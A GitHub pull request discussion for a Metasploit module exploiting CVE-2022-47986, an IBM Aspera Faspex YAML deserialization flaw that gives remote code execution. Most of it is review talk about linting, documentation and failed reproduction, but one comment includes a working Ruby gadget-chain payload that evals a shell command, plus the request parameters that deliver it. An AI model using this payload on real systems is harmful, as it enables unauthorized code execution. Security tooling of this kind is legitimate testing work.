-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[exploit][RCE][CVE-2022-47986] IBM aspera faspex YAML deserialization #17760
[exploit][RCE][CVE-2022-47986] IBM aspera faspex YAML deserialization #17760
Conversation
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools. We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
You can automate most of these changes with the
Please update your branch after these have been made, and reach out if you have any problems. |
This is missing testing directions and other additional information typically asked for in the template document when submitting a PR request for a module submission. Please update this PR with this information. |
I fix my pull request and write a description based on the pull-request template. |
Thanks, PR description looks good. Will await linting updates and inclusion of the documentation file into this PR. |
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
Co-authored-by: dwelch-r7 <[email protected]>
Hey @mauricelambert, thanks for the module! Could you happen to add a few details regarding how you tested this module? What version of the software did you test against? I'm currently testing with |
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
Hey @space-r7, thanks for the review ! Yes, i can add few details:
|
…lization.rb Co-authored-by: Shelby Pace <[email protected]>
…lization.rb Co-authored-by: Shelby Pace <[email protected]>
…lization.rb Co-authored-by: Shelby Pace <[email protected]>
…lization.rb Co-authored-by: Shelby Pace <[email protected]>
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
…lization.rb Co-authored-by: Jeffrey Martin <[email protected]>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi, sorry for the delay in getting back to this!
- do you use ruby in version 1.9.3 ?
Yep
faspex]$ ruby --version
ruby 1.9.3p327 (2012-11-10 revision 37606) [x86_64-linux]
It may be something else with my environment, as I'm getting the following when I attempt to exploit with the original poc.
python3 poc.py http://192.168.140.163:3000 'whoami'
undefined method `each' for #<Syck::Object:0x00000002393828>
- The nist, github and packetstorm confirms that my payload is working
I see that you're using the same payload as the original poc, but I'm mostly asking for documentation on how to install a vulnerable version of IBM Aspera and what the module looks like on a successful run. Adding these details will help get your module across the finish line and will help future users of your module. Thanks!
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization.rb
Outdated
Show resolved
Hide resolved
…lization.rb Co-authored-by: Shelby Pace <[email protected]>
…lization.rb Co-authored-by: Shelby Pace <[email protected]>
@mauricelambert Any update on the request from Shelby above r.e documentation? |
I can't reproduce this error, it's probably an error with Syck version or the yaml parser version. Without the error, I can't debug it. I wrote the POC to test my servers for this vulnerability. I used |
Unfortunately we do require a documentation file of some sort for exploits to be accepted into the framework. Presently this PR does not contain any documentation files. These files would require some sort of setup instructions to allow other people to set up their own targets however we would also accept a PCAP of successful exploitation for targets that might be expensive or complex to set up correctly. |
Hey @mauricelambert, thanks of the module. I think this would be a great addition to the framework and would be happy to help make the necessary additions to get this landed. I'm currently running into some issues and was wondering if I could get some guidance. I've got version Running payload in irb
When running the module I was getting and error caused by a malformed
Caused by the module sending an unformatted However I'm not able to get code execution through the module (despite being able to via Stack trace from server
Logging additions to server
Here's where the stack trace is being thrown from - from my understanding this is the actual gadget being used by the exploit. requirements.br
I'm wondering if you might have any suggestions? Any help would be appreciated. Looking forward to hearing from you. |
uuid = SecureRandom.uuid | ||
|
||
payload = { | ||
"package_file_list[]": '/', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This was my doing and seems like a bit of a hack. When defining package_file_list
like so:
package_file_list: ["/"]
the fact that its defined as an array seems to be ignored by URI.encode_www_form
and I was getting an error from the application as it expected package_file_list
to be an array. I've included an example below.
irb example
3.0.0 :003 > hash = {
3.0.0 :004 > "package_file_list" => ["/"], # Encapsulate the value in an array
3.0.0 :005 > "external_emails" => "---\n- !ruby/object:Gem::Installer\n i: x\n- !ruby/object:Gem::SpecFetcher\n i: y\n- !ruby/object:Gem::Requirement\n requirements:\n
!ruby/object:Gem::Package::TarReader\n io: &1 !ruby/object:Net::BufferedIO\n io: &1 !ruby/object:Gem::Package::TarReader::Entry\n read: 0\n header: \"pe
w\"\n debug_output: &1 !ruby/object:Net::WriteAdapter\n socket: &1 !ruby/object:PrettyPrint\n output: !ruby/object:Net::WriteAdapter\n so
cket: &1 !ruby/module \"Kernel\"\n method_id: :eval\n newline: \"throw `touch /tmp/foobar`\"\n buffer: {}\n group_stack:\n
- !ruby/object:PrettyPrint::Group\n break: true\n method_id: :breakable\n",
3.0.0 :006 > "package_name" => "assetnote_pack",
3.0.0 :007 > "package_note" => "hello from assetnote team",
3.0.0 :008 > "original_sender_name" => "assetnote",
3.0.0 :009 > "package_uuid" => "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
3.0.0 :010 > "metadata_human_readable" => "Yes",
3.0.0 :011 > "forward" => "pew",
3.0.0 :012 > "metadata_json" => "{}",
3.0.0 :013 > "delivery_uuid" => "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
3.0.0 :014 > "delivery_sender_name" => "assetnote",
3.0.0 :015 > "delivery_title" => "TEST",
3.0.0 :016 > "delivery_note" => "TEST",
3.0.0 :017 > "delete_after_download" => true,
3.0.0 :018 > "delete_after_download_condition" => "IDK"
3.0.0 :019 > }
=>
{"package_file_list"=>["/"],
...
3.0.0 :020 >
3.0.0 :021 > encoded_params = URI.encode_www_form(hash)
=> "package_file_list=%2F&external_emails=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2...
3.0.0 :022 >
This satisfied the server as it expects package_file_list%5B%5D=%2F
not what is generated above.
Thanks @jheysel-r7 ! Your help is welcome and your commits are very cool (I liked your code) ! |
Hey @mauricelambert, I was just revisiting this PR and was unfortunately unable to get this module working with the target I have setup. I was wondering if you might be able to run the module with the changes I added and send us the module output (so we can add it to a documentation file) and then also send either a pcap of the module working or a screen recording to prove it's functionality. Please let me know, I think this would be a great addition to the framework and would be happy to help get it landed. |
Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it What does this generally mean? It could be one or more of several things:
We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this! |
Fixes #17759
Verification
List the steps needed to make sure this thing works
msfconsole
use exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization
set RHOST <ip>
set LHOST <ip>
exploit
Output